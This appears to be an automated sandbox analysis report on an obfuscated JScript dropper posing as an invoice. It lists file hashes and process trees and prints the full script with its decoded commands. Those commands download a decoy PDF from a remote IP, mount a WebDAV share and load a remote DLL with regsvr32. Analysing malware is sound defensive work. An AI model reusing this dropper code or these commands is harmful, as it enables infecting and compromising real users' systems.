SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16619), with CRLF line terminators
Entropy (8bit):	4.907969097056634
TrID:
File name:	1418132746179806359.js
File size:	20'153 bytes
MD5:	c3cfae46e22409939f988da808a87baa
SHA1:	b367148d6a485d31b437b1aec2188d4b3d00036e
SHA256:	be4f34baed362472dfabec1e0be21bfce92e9a65c19a98e7eefb20948869208c
SHA512:	9519a289e6d64ea692d690cd03705179985fc483e287c0c5e407cb1e71ab2d8825d9e5a5a02bfd636293b7cd0274eb973669cc3e9bc871e3d0bbc72fb0b5048c
SSDEEP:	384:MXJi0X0QO5QHn1Reg6P3G/6OKj74kvgrwtAza7wOL:MXJi0X0QO5Qr6/GiOKQkf7ww
TLSH:	6B92835EBD860209CEEC89E2E6C7169F279B4B488885497595D328DC71CDA08D3FC9FC
File Content Preview:	function ujqeu(){zireypu=[1031,3079,5127,4103,2055,3072];var yubcxdfnp=this[tnitx+qjfwnfuvf+otvqlmxa+luljy+rwgrrdho+nltzjrd+crcwnrg+awkggviz](this[ooctrco+lohcyk+nbtfpr+otvqlmxa+ftsvyqc+tnitx+awkggviz][fvxlb+otvqlmxa+rwgrrdho+qjfwnfuvf+awkggviz+rwgrrdho+q

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	5
Start time:	01:25:46
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1418132746179806359.js"
Imagebase:	0x7ff7c8ce0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:25:47
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll
Imagebase:	0x7ff73f750000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:25:47
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:25:47
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:25:51
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	01:25:51
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73f750000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:25:51
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6efa40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:25:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	01:25:52
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	01:25:52
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1716,i,16535891303719671525,17188636642958423996,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ujqeu() {	ujqeu() ➔ undefined
1	zireypu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yubcxdfnp = this[tnitx + qjfwnfuvf + otvqlmxa + luljy + rwgrrdho + nltzjrd + crcwnrg + awkggviz] ( this[ooctrco + lohcyk + nbtfpr + otvqlmxa + ftsvyqc + tnitx + awkggviz][fvxlb + otvqlmxa + rwgrrdho + qjfwnfuvf + awkggviz + rwgrrdho + qjqvgw + vrwvql + ekdnidr + rwgrrdho + nbtfpr + awkggviz] ( ooctrco + lohcyk + nbtfpr + otvqlmxa + ftsvyqc + tnitx + awkggviz + zwnvb + lohcyk + ucteb + rwgrrdho + bybzavk + bybzavk ) [nwuziked + rwgrrdho + ujyafnzz + nwuziked + rwgrrdho + qjfwnfuvf + kcmayli] ( zxmjidu + bngdqhyre + ibwwebvf + zmbyr + lqsrc + fvxlb + coype + nwuziked + nwuziked + ibwwebvf + nczragr + rxpkvnw + lqsrc + coype + lohcyk + ibwwebvf + nwuziked + dkevl + fvxlb + qcxntgkcw + crcwnrg + awkggviz + otvqlmxa + qcxntgkcw + bybzavk + tybimmsxk + nscasyu + qjfwnfuvf + crcwnrg + rwgrrdho + bybzavk + dkevl + nltzjrd + crcwnrg + awkggviz + rwgrrdho + otvqlmxa + crcwnrg + qjfwnfuvf + awkggviz + ftsvyqc + qcxntgkcw + crcwnrg + qjfwnfuvf + bybzavk + dkevl + ceyats + qcxntgkcw + nbtfpr + qjfwnfuvf + bybzavk + rwgrrdho ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gtjovdv = 0 ; gtjovdv < zireypu[bybzavk + rwgrrdho + crcwnrg + ujyafnzz + awkggviz + ucteb] ; ++ gtjovdv )
4	{
5	if ( yubcxdfnp == zireypu[gtjovdv] )
6	{
7	yubcxdfnp = true;
8	break ;
9	}
10	}
11	if ( yubcxdfnp !== true )
12	this[ooctrco + lohcyk + nbtfpr + otvqlmxa + ftsvyqc + tnitx + awkggviz][yyyhpfzf + kfyupfgc + ftsvyqc + awkggviz] ( );
13	this[ooctrco + lohcyk + nbtfpr + otvqlmxa + ftsvyqc + tnitx + awkggviz][fvxlb + otvqlmxa + rwgrrdho + qjfwnfuvf + awkggviz + rwgrrdho + qjqvgw + vrwvql + ekdnidr + rwgrrdho + nbtfpr + awkggviz] ( ooctrco + lohcyk + nbtfpr + otvqlmxa + ftsvyqc + tnitx + awkggviz + zwnvb + lohcyk + ucteb + rwgrrdho + bybzavk + bybzavk ) [otvqlmxa + kfyupfgc + crcwnrg] ( nbtfpr + avdjoyy + kcmayli + tybimmsxk + ydqhonph + nbtfpr + tybimmsxk + tnitx + qcxntgkcw + hfxytwp + rwgrrdho + otvqlmxa + luljy + ucteb + rwgrrdho + bybzavk + bybzavk + zwnvb + rwgrrdho + odhow + rwgrrdho + tybimmsxk + qwofdk + fvxlb + qcxntgkcw + avdjoyy + avdjoyy + qjfwnfuvf + crcwnrg + kcmayli + tybimmsxk + pyiai + nltzjrd + crcwnrg + vhqcmfhh + qcxntgkcw + zlqtwt + rwgrrdho + qwofdk + ooctrco + rwgrrdho + vrwvql + nwuziked + rwgrrdho + vlscovnh + kfyupfgc + rwgrrdho + luljy + awkggviz + tybimmsxk + qwofdk + qjqvgw + kfyupfgc + awkggviz + qfausb + ftsvyqc + bybzavk + rwgrrdho + tybimmsxk + kdues + awkggviz + rwgrrdho + avdjoyy + tnitx + kdues + dkevl + ftsvyqc + crcwnrg + vhqcmfhh + qcxntgkcw + ftsvyqc + nbtfpr + rwgrrdho + zwnvb + tnitx + kcmayli + cilftnwjy + tybimmsxk + ucteb + awkggviz + awkggviz + tnitx + ejqqg + ydqhonph + ydqhonph + ujgyoiwg + dhlngpdq + rhmyxil + zwnvb + ujgyoiwg + wqcqgvitn + rhmyxil + zwnvb + ujgyoiwg + zwnvb + gmgrfv + ebjsornz + gxhmcnd + ydqhonph + ftsvyqc + crcwnrg + vhqcmfhh + qcxntgkcw + ftsvyqc + nbtfpr + rwgrrdho + zwnvb + tnitx + ucteb + tnitx + pyiai + hsmpoqy + hsmpoqy + luljy + awkggviz + qjfwnfuvf + otvqlmxa + awkggviz + tybimmsxk + kdues + awkggviz + rwgrrdho + avdjoyy + tnitx + kdues + dkevl + ftsvyqc + crcwnrg + vhqcmfhh + qcxntgkcw + ftsvyqc + nbtfpr + rwgrrdho + zwnvb + tnitx + kcmayli + cilftnwjy + hsmpoqy + hsmpoqy + nbtfpr + avdjoyy + kcmayli + tybimmsxk + ydqhonph + nbtfpr + tybimmsxk + crcwnrg + rwgrrdho + awkggviz + tybimmsxk + kfyupfgc + luljy + rwgrrdho + tybimmsxk + dkevl + dkevl + ujgyoiwg + dhlngpdq + rhmyxil + zwnvb + ujgyoiwg + wqcqgvitn + rhmyxil + zwnvb + ujgyoiwg + zwnvb + gmgrfv + ebjsornz + gxhmcnd + grskqt + vlwuvuk + vlwuvuk + vlwuvuk + vlwuvuk + dkevl + kcmayli + qjfwnfuvf + vhqcmfhh + hfxytwp + hfxytwp + hfxytwp + otvqlmxa + qcxntgkcw + qcxntgkcw + awkggviz + dkevl + hsmpoqy + hsmpoqy + nbtfpr + avdjoyy + kcmayli + tybimmsxk + ydqhonph + nbtfpr + tybimmsxk + otvqlmxa + rwgrrdho + ujyafnzz + luljy + vhqcmfhh + otvqlmxa + rhmyxil + gmgrfv + tybimmsxk + ydqhonph + luljy + tybimmsxk + dkevl + dkevl + ujgyoiwg + dhlngpdq + rhmyxil + zwnvb + ujgyoiwg + wqcqgvitn + rhmyxil + zwnvb + ujgyoiwg + zwnvb + gmgrfv + ebjsornz + gxhmcnd + grskqt + vlwuvuk + vlwuvuk + vlwuvuk + vlwuvuk + dkevl + kcmayli + qjfwnfuvf + vhqcmfhh + hfxytwp + hfxytwp + hfxytwp + otvqlmxa + qcxntgkcw + qcxntgkcw + awkggviz + dkevl + gmgrfv + gmgrfv + gxhmcnd + dhlngpdq + ujgyoiwg + ujgyoiwg + gxhmcnd + gxhmcnd + vlwuvuk + ebjsornz + gxhmcnd + vlwuvuk + wqcqgvitn + gmgrfv + zwnvb + kcmayli + bybzavk + bybzavk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22591155805842.dll",0,false) ➔ 0
14	}
15	ydqhonph = "L";
16	ydqhonph = "b";
17	ydqhonph = "c";
18	ydqhonph = "E";
19	ydqhonph = "G";
20	ydqhonph = "a";
21	ydqhonph = "V";
22	ydqhonph = "d";
23	ydqhonph = "Z";
24	ydqhonph = "V";
25	ydqhonph = "v";
26	ydqhonph = "s";
27	ydqhonph = "C";
28	ydqhonph = "N";
29	ydqhonph = "y";
30	ydqhonph = "H";
31	ydqhonph = "S";
32	ydqhonph = "e";
33	ydqhonph = "c";
34	ydqhonph = "m";
35	ydqhonph = "O";
36	ydqhonph = "G";
37	ydqhonph = "P";
38	ydqhonph = "b";
39	ydqhonph = "A";
40	ydqhonph = "M";
41	ydqhonph = "f";
42	ydqhonph = "g";
43	ydqhonph = "s";
44	ydqhonph = "N";
45	ydqhonph = "X";
46	ydqhonph = "B";
47	ydqhonph = "V";
48	ydqhonph = "C";
49	ydqhonph = "k";
50	ydqhonph = "V";
51	ydqhonph = "V";
52	ydqhonph = "A";
53	ydqhonph = "v";
54	ydqhonph = "y";
55	ydqhonph = "e";
56	ydqhonph = "/";
57	kdues = "q";
58	kdues = "w";
59	kdues = "R";
60	kdues = "w";
61	kdues = "M";
62	kdues = "O";
63	kdues = "Y";
64	kdues = "e";
65	kdues = "e";
66	kdues = "j";
67	kdues = "q";
68	kdues = "h";
69	kdues = "f";
70	kdues = "Q";
71	kdues = "V";
72	kdues = "b";
73	kdues = "V";
74	kdues = "o";
75	kdues = "Q";
76	kdues = "X";
77	kdues = "o";
78	kdues = "S";
79	kdues = "v";
80	kdues = "a";
81	kdues = "X";
82	kdues = "X";
83	kdues = "w";
84	kdues = "b";
85	kdues = "g";
86	kdues = "S";
87	kdues = "c";
88	kdues = "f";
89	kdues = "X";
90	kdues = "I";
91	kdues = "S";
92	kdues = "h";
93	kdues = "%";
94	qwofdk = "l";
95	qwofdk = "w";
96	qwofdk = "p";
97	qwofdk = "t";
98	qwofdk = "w";
99	qwofdk = "I";
100	qwofdk = "D";
101	qwofdk = "F";
102	qwofdk = "o";
103	qwofdk = "s";
104	qwofdk = "P";
105	qwofdk = "F";
106	qwofdk = "L";
107	qwofdk = "N";
108	qwofdk = "r";
109	qwofdk = "m";
110	qwofdk = "r";
111	qwofdk = "U";
112	qwofdk = "T";
113	qwofdk = "k";
114	qwofdk = "X";
115	qwofdk = "r";
116	qwofdk = "U";
117	qwofdk = "g";
118	qwofdk = "M";
119	qwofdk = "H";
120	qwofdk = "-";
121	zlqtwt = "k";
122	zlqtwt = "v";
123	zlqtwt = "y";
124	zlqtwt = "b";
125	zlqtwt = "t";
126	zlqtwt = "g";
127	zlqtwt = "C";
128	zlqtwt = "x";
129	zlqtwt = "N";
130	zlqtwt = "s";
131	zlqtwt = "a";
132	zlqtwt = "O";
133	zlqtwt = "S";
134	zlqtwt = "Z";
135	zlqtwt = "s";
136	zlqtwt = "d";
137	zlqtwt = "C";
138	zlqtwt = "G";
139	zlqtwt = "D";
140	zlqtwt = "Q";
141	zlqtwt = "a";
142	zlqtwt = "v";
143	zlqtwt = "O";
144	zlqtwt = "y";
145	zlqtwt = "k";
146	zlqtwt = "S";
147	zlqtwt = "C";
148	zlqtwt = "O";
149	zlqtwt = "C";
150	zlqtwt = "c";
151	zlqtwt = "k";
152	zlqtwt = "m";
153	zlqtwt = "H";
154	zlqtwt = "K";
155	zlqtwt = "e";
156	zlqtwt = "W";
157	zlqtwt = "k";
158	pyiai = "U";
159	pyiai = "U";
160	pyiai = "a";
161	pyiai = "R";
162	pyiai = "o";
163	pyiai = "P";
164	pyiai = "E";
165	pyiai = "W";
166	pyiai = "f";
167	pyiai = "K";
168	pyiai = "T";
169	pyiai = "d";
170	pyiai = "B";
171	pyiai = "m";
172	pyiai = "f";
173	pyiai = "M";
174	pyiai = "u";
175	pyiai = "v";
176	pyiai = "s";
177	pyiai = "n";
178	pyiai = "H";
179	pyiai = "K";
180	pyiai = "w";
181	pyiai = "s";
182	pyiai = "Y";
183	pyiai = "B";
184	pyiai = "K";
185	pyiai = "A";
186	pyiai = "C";
187	pyiai = "Y";
188	pyiai = "d";
189	pyiai = "P";
190	pyiai = "s";
191	pyiai = "d";
192	pyiai = "B";
193	pyiai = "u";
194	pyiai = "w";
195	pyiai = "G";
196	pyiai = "i";
197	pyiai = "k";
198	pyiai = "S";
199	pyiai = "\"";
200	yyyhpfzf = "C";
201	yyyhpfzf = "V";
202	yyyhpfzf = "j";
203	yyyhpfzf = "H";
204	yyyhpfzf = "I";
205	yyyhpfzf = "h";
206	yyyhpfzf = "g";
207	yyyhpfzf = "O";
208	yyyhpfzf = "t";
209	yyyhpfzf = "d";
210	yyyhpfzf = "o";
211	yyyhpfzf = "C";
212	yyyhpfzf = "i";
213	yyyhpfzf = "I";
214	yyyhpfzf = "Q";
215	zwnvb = "J";
216	zwnvb = "E";
217	zwnvb = "H";
218	zwnvb = "P";
219	zwnvb = "G";
220	zwnvb = "D";
221	zwnvb = "w";
222	zwnvb = "X";
223	zwnvb = "j";
224	zwnvb = "H";
225	zwnvb = "Z";
226	zwnvb = "n";
227	zwnvb = "K";
228	zwnvb = "l";
229	zwnvb = "i";
230	zwnvb = "f";
231	zwnvb = "h";
232	zwnvb = "Q";
233	zwnvb = "r";
234	zwnvb = "X";
235	zwnvb = "B";
236	zwnvb = ".";
237	avdjoyy = "n";
238	avdjoyy = "B";
239	avdjoyy = "i";
240	avdjoyy = "o";
241	avdjoyy = "m";
242	ujyafnzz = "s";
243	ujyafnzz = "n";
244	ujyafnzz = "U";
245	ujyafnzz = "z";
246	ujyafnzz = "L";
247	ujyafnzz = "n";
248	ujyafnzz = "L";
249	ujyafnzz = "G";
250	ujyafnzz = "J";
251	ujyafnzz = "m";
252	ujyafnzz = "C";
253	ujyafnzz = "q";
254	ujyafnzz = "D";
255	ujyafnzz = "y";
256	ujyafnzz = "r";
257	ujyafnzz = "u";
258	ujyafnzz = "x";
259	ujyafnzz = "z";
260	ujyafnzz = "r";
261	ujyafnzz = "c";
262	ujyafnzz = "J";
263	ujyafnzz = "y";
264	ujyafnzz = "y";
265	ujyafnzz = "D";
266	ujyafnzz = "z";
267	ujyafnzz = "e";
268	ujyafnzz = "C";
269	ujyafnzz = "f";
270	ujyafnzz = "Z";
271	ujyafnzz = "D";
272	ujyafnzz = "D";
273	ujyafnzz = "X";
274	ujyafnzz = "L";
275	ujyafnzz = "f";
276	ujyafnzz = "N";
277	ujyafnzz = "y";
278	ujyafnzz = "f";
279	ujyafnzz = "B";
280	ujyafnzz = "L";
281	ujyafnzz = "g";
282	ebjsornz = "r";
283	ebjsornz = "E";
284	ebjsornz = "d";
285	ebjsornz = "t";
286	ebjsornz = "b";
287	ebjsornz = "V";
288	ebjsornz = "K";
289	ebjsornz = "r";
290	ebjsornz = "u";
291	ebjsornz = "o";
292	ebjsornz = "M";
293	ebjsornz = "M";
294	ebjsornz = "i";
295	ebjsornz = "U";
296	ebjsornz = "q";
297	ebjsornz = "L";
298	ebjsornz = "p";
299	ebjsornz = "N";
300	ebjsornz = "B";
301	ebjsornz = "c";
302	ebjsornz = "f";
303	ebjsornz = "V";
304	ebjsornz = "d";
305	ebjsornz = "E";
306	ebjsornz = "F";
307	ebjsornz = "D";
308	ebjsornz = "m";
309	ebjsornz = "u";
310	ebjsornz = "o";
311	ebjsornz = "0";
312	ekdnidr = "B";
313	ekdnidr = "T";
314	ekdnidr = "v";
315	ekdnidr = "t";
316	ekdnidr = "G";
317	ekdnidr = "x";
318	ekdnidr = "R";
319	ekdnidr = "B";
320	ekdnidr = "U";
321	ekdnidr = "J";
322	ekdnidr = "k";
323	ekdnidr = "P";
324	ekdnidr = "a";
325	ekdnidr = "B";
326	ekdnidr = "r";
327	ekdnidr = "e";
328	ekdnidr = "E";
329	ekdnidr = "H";
330	ekdnidr = "e";
331	ekdnidr = "O";
332	ekdnidr = "B";
333	ekdnidr = "P";
334	ekdnidr = "H";
335	ekdnidr = "d";
336	ekdnidr = "I";
337	ekdnidr = "l";
338	ekdnidr = "H";
339	ekdnidr = "J";
340	ekdnidr = "j";
341	kfyupfgc = "D";
342	kfyupfgc = "f";
343	kfyupfgc = "S";
344	kfyupfgc = "Z";
345	kfyupfgc = "S";
346	kfyupfgc = "A";
347	kfyupfgc = "r";
348	kfyupfgc = "j";
349	kfyupfgc = "a";
350	kfyupfgc = "U";
351	kfyupfgc = "u";
352	kfyupfgc = "G";
353	kfyupfgc = "Q";
354	kfyupfgc = "b";
355	kfyupfgc = "i";
356	kfyupfgc = "u";
357	qjfwnfuvf = "v";
358	qjfwnfuvf = "f";
359	qjfwnfuvf = "f";
360	qjfwnfuvf = "i";
361	qjfwnfuvf = "b";
362	qjfwnfuvf = "G";
363	qjfwnfuvf = "p";
364	qjfwnfuvf = "a";
365	vlwuvuk = "g";
366	vlwuvuk = "U";
367	vlwuvuk = "Z";
368	vlwuvuk = "E";
369	vlwuvuk = "a";
370	vlwuvuk = "Q";
371	vlwuvuk = "p";
372	vlwuvuk = "b";
373	vlwuvuk = "E";
374	vlwuvuk = "8";
375	ejqqg = "q";
376	ejqqg = "T";
377	ejqqg = "x";
378	ejqqg = "f";
379	ejqqg = "B";
380	ejqqg = "t";
381	ejqqg = "A";
382	ejqqg = "f";
383	ejqqg = "h";
384	ejqqg = "W";
385	ejqqg = "l";
386	ejqqg = ":";
387	vhqcmfhh = "G";
388	vhqcmfhh = "o";
389	vhqcmfhh = "N";
390	vhqcmfhh = "u";
391	vhqcmfhh = "C";
392	vhqcmfhh = "N";
393	vhqcmfhh = "R";
394	vhqcmfhh = "T";
395	vhqcmfhh = "s";
396	vhqcmfhh = "a";
397	vhqcmfhh = "m";
398	vhqcmfhh = "M";
399	vhqcmfhh = "K";
400	vhqcmfhh = "w";
401	vhqcmfhh = "Z";
402	vhqcmfhh = "Y";
403	vhqcmfhh = "S";
404	vhqcmfhh = "J";
405	vhqcmfhh = "Z";
406	vhqcmfhh = "k";
407	vhqcmfhh = "V";
408	vhqcmfhh = "T";
409	vhqcmfhh = "p";
410	vhqcmfhh = "H";
411	vhqcmfhh = "j";
412	vhqcmfhh = "V";
413	vhqcmfhh = "R";
414	vhqcmfhh = "A";
415	vhqcmfhh = "v";
416	vlscovnh = "U";
417	vlscovnh = "h";
418	vlscovnh = "q";
419	vlscovnh = "Z";
420	vlscovnh = "R";
421	vlscovnh = "g";
422	vlscovnh = "Q";
423	vlscovnh = "o";
424	vlscovnh = "R";
425	vlscovnh = "c";
426	vlscovnh = "n";
427	vlscovnh = "x";
428	vlscovnh = "k";
429	vlscovnh = "d";
430	vlscovnh = "s";
431	vlscovnh = "s";
432	vlscovnh = "J";
433	vlscovnh = "k";
434	vlscovnh = "g";
435	vlscovnh = "l";
436	vlscovnh = "G";
437	vlscovnh = "d";
438	vlscovnh = "C";
439	vlscovnh = "Y";
440	vlscovnh = "f";
441	vlscovnh = "M";
442	vlscovnh = "A";
443	vlscovnh = "f";
444	vlscovnh = "m";
445	vlscovnh = "B";
446	vlscovnh = "U";
447	vlscovnh = "u";
448	vlscovnh = "q";
449	luljy = "l";
450	luljy = "j";
451	luljy = "Q";
452	luljy = "L";
453	luljy = "n";
454	luljy = "v";
455	luljy = "j";
456	luljy = "e";
457	luljy = "o";
458	luljy = "Z";
459	luljy = "I";
460	luljy = "v";
461	luljy = "i";
462	luljy = "a";
463	luljy = "s";
464	nltzjrd = "J";
465	nltzjrd = "i";
466	nltzjrd = "q";
467	nltzjrd = "D";
468	nltzjrd = "x";
469	nltzjrd = "e";
470	nltzjrd = "Q";
471	nltzjrd = "U";
472	nltzjrd = "V";
473	nltzjrd = "D";
474	nltzjrd = "T";
475	nltzjrd = "B";
476	nltzjrd = "J";
477	nltzjrd = "w";
478	nltzjrd = "G";
479	nltzjrd = "I";
480	hfxytwp = "y";
481	hfxytwp = "H";
482	hfxytwp = "Z";
483	hfxytwp = "Z";
484	hfxytwp = "k";
485	hfxytwp = "A";
